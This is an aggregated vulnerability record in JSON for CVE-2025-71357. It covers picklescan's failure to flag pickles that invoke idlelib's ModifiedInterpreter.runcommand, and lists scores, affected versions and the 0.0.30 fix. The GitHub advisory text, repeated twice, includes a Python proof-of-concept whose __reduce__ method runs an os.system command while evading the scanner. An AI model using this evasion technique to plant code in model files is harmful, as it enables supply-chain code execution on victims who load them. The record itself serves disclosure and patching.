{"id":"CVE-2025-71357","aliases":["EUVD-2025-210293","GHSA-8mc5-7w9m-fqv6","GHSA-j343-8v2j-ff7w","PYSEC-2026-246"],"status":"published","title":"picklescan - Arbitrary Code Execution via Undetected idlelib.pyshell.ModifiedInterpreter.runcommand","description":"picklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.","severity":{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00392,"percentile":0.33843,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2025-08-26T21:36:47Z","modified":"2026-11-08T14:00:30Z","fixes":[{"ecosystem":"PyPI","package":"picklescan","fixed_in":["0.0.30"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.30"}]}]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.30"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.30"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]}],"products":[{"vendor":"mmaitre314","product":"picklescan"},{"vendor":"picklescan","product":"picklescan"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-j343-8v2j-ff7w","tags":["vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-undetected-idlelib-pyshell-modifiedinterpreter-runcommand","tags":["third-party-advisory","Third Party Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71357","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8mc5-7w9m-fqv6"},{"url":"https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-246.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-j343-8v2j-ff7w"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71357.json","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-71357","title":"picklescan - Arbitrary Code Execution via Undetected idlelib.pyshell.ModifiedInterpreter.runcommand","description":"picklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.","status":"published","published":"2026-06-21T13:26:49.422Z","modified":"2026-11-08T14:00:30.352Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-08T14:43:22.764053Z"}],"euvd":[{"id":"EUVD-2025-210293","description":"picklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.","status":"published","published":"2026-06-21T13:26:49Z","modified":"2026-11-08T14:00:30Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-08T15:13:10.25084Z"}],"ghsa":[{"id":"GHSA-8mc5-7w9m-fqv6","title":"Duplicate Advisory: Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand","description":"### Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-j343-8v2j-ff7w. This link is maintained to preserve external references.\n\n### Original Description\n\npicklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.","status":"withdrawn","published":"2026-06-21T15:31:23Z","modified":"2026-09-11T19:25:00Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"},{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:41:15.803194Z"},{"id":"GHSA-j343-8v2j-ff7w","title":"Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand","description":"### Summary\n\nUsing idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom idlelib.pyshell import ModifiedInterpreter\nfrom types import SimpleNamespace\n\nclass EvilIdlelibPyshellModifiedInterpreterRuncommand:\n    def __reduce__(self):\n        payload = \"__import__('os').system('whoami')\"\n        fake_self = SimpleNamespace(\n            locals={},\n            tkconsole=SimpleNamespace(executing=False),\n            rpcclt=None,\n            debugger=None\n        )\n        return ModifiedInterpreter.runcommand, (fake_self, payload)\n\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","status":"published","published":"2025-08-26T21:36:47Z","modified":"2026-09-11T19:26:10Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:41:15.803194Z"}],"nvd":[{"id":"CVE-2025-71357","description":"picklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.","status":"published","published":"2026-06-21T14:16:23.017Z","modified":"2026-10-12T22:10:00.247Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:12:02.535029Z"}],"osv":[{"id":"CVE-2025-71357","title":"picklescan - Arbitrary Code Execution via Undetected idlelib.pyshell.ModifiedInterpreter.runcommand","description":"picklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.","status":"published","published":"2026-06-21T13:26:49.422Z","modified":"2026-11-09T02:31:11.799338033Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"GHSA-8mc5-7w9m-fqv6","title":"Duplicate Advisory: Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand","description":"### Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-j343-8v2j-ff7w. This link is maintained to preserve external references.\n\n### Original Description\n\npicklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.","status":"withdrawn","published":"2026-06-21T15:31:23Z","modified":"2026-09-11T19:30:05.019626879Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"},{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:42.437513Z"},{"id":"GHSA-j343-8v2j-ff7w","title":"Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand","description":"### Summary\n\nUsing idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom idlelib.pyshell import ModifiedInterpreter\nfrom types import SimpleNamespace\n\nclass EvilIdlelibPyshellModifiedInterpreterRuncommand:\n    def __reduce__(self):\n        payload = \"__import__('os').system('whoami')\"\n        fake_self = SimpleNamespace(\n            locals={},\n            tkconsole=SimpleNamespace(executing=False),\n            rpcclt=None,\n            debugger=None\n        )\n        return ModifiedInterpreter.runcommand, (fake_self, payload)\n\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","status":"published","published":"2025-08-26T21:36:47Z","modified":"2026-09-11T19:45:09.000909334Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:49.977351Z"},{"id":"PYSEC-2026-246","description":"picklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.","status":"published","published":"2026-06-21T14:16:23.017Z","modified":"2026-06-27T11:15:05.162863282Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}